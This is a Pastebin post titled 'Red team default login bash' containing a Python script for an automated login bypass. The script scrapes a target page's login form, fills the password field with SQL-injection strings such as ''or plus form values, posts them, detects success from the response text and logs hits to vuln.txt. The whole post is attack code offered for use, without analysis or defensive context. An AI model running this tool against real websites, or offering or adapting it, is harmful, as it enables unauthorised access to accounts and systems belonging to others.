xosski

Red team default login bash

Jan 1st, 2025
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.80 KB | None | 0 0
  1. import requests
  2. import re
  3.  
  4. def clean_url(target):
  5. """Ensures the URL is clean and formatted correctly."""
  6. return target.replace("http://", "").replace("https://", "")
  7.  
  8. def get_post_url(ng):
  9. """Extracts the POST URL from the page source."""
  10. posturl_matches = re.findall(r"post\('[^']*'|POST\('[^']*'|action=\"[^\"]*\"", ng)
  11. return sorted(set([re.sub(r"action=\"|post\('|'\"", '', u) for u in posturl_matches]))[0] if posturl_matches else ""
  12.  
  13. def extract_form_data(ng):
  14. """Extracts form values (input fields) from the page source."""
  15. value_matches = re.findall(r'(<input).*?(>)', ng)
  16. values = []
  17. for match in value_matches:
  18. name_value = re.findall(r'name="([^"]*)" value="([^"]*)"', match[1])
  19. if name_value:
  20. values.extend(name_value)
  21. return "&".join([f"{name}={val}" for name, val in values])
  22.  
  23. def prepare_post_data(xploit, param1, param2, value):
  24. """Prepares the post data for submission."""
  25. if "@gmail" in xploit:
  26. return f"{param1}={xploit}&{param2}=''or{value}"
  27. else:
  28. return f"{param1}={xploit}&{param2}={xploit}{value}"
  29.  
  30. def attempt_login(post, postdata):
  31. """Performs the POST request to attempt login."""
  32. try:
  33. response = requests.post(post, data=postdata)
  34. return response.text
  35. except requests.exceptions.RequestException as e:
  36. print(f"Error during POST request: {e}")
  37. return ""
  38.  
  39. def bypass(target, exploits):
  40. """Main function to perform the login bypass attempts."""
  41. session = requests.Session() # Use a session for persistent connection
  42. sukses = ""
  43.  
  44. print(f"\n[*] Starting {target}")
  45.  
  46. for xploit in exploits:
  47. print(f"Trying login with: {xploit}")
  48. site = clean_url(target)
  49.  
  50. try:
  51. ng = session.get(f"http://{site}").text
  52. except requests.exceptions.RequestException as e:
  53. print(f"Error connecting to {target}: {e}")
  54. continue
  55.  
  56. # Extract the post URL from the page content
  57. posturl = get_post_url(ng)
  58. postnya = "/".join(site.split("/")[:2])
  59. post = f"{postnya}{posturl}" if "action=\"http" not in ng else re.search(r'action="([^"]*)"', ng).group(1)
  60.  
  61. # Extract form data and parameters
  62. value = extract_form_data(ng)
  63. param = ",".join(sorted(set(re.findall(r'name="([^"]*)"', ng)[:2])))
  64. param1, param2 = param.split(",") if len(param.split(",")) > 1 else (param, '')
  65.  
  66. # Prepare the post data
  67. postdata = prepare_post_data(xploit, param1, param2, value)
  68.  
  69. # Attempt login
  70. cek = attempt_login(post, postdata)
  71.  
  72. # Check for login failure
  73. if re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|coba|gagal|wrong|Wrong|Invalid|IncorectError|405|error)", cek):
  74. print(f"Login failed with: {xploit}")
  75. print(f"Post data: {post} -d {postdata}\n")
  76. else:
  77. if xploit == "test" or not xploit:
  78. print(f"Failed to get login\n")
  79. break
  80. sukses = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
  81. print(f"{sukses}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
  82. with open("vuln.txt", "a") as f:
  83. f.write(f"{sukses}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  84. print(f"\a[INFO] Login success\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  85.  
  86. # Example usage:
  87. if __name__ == "__main__":
  88. target = "http://example.com"
  89. exploits = ["[email protected]", "[email protected]", "test"]
  90. bypass(target, exploits)
Advertisement
Add Comment
Please, Sign In to add comment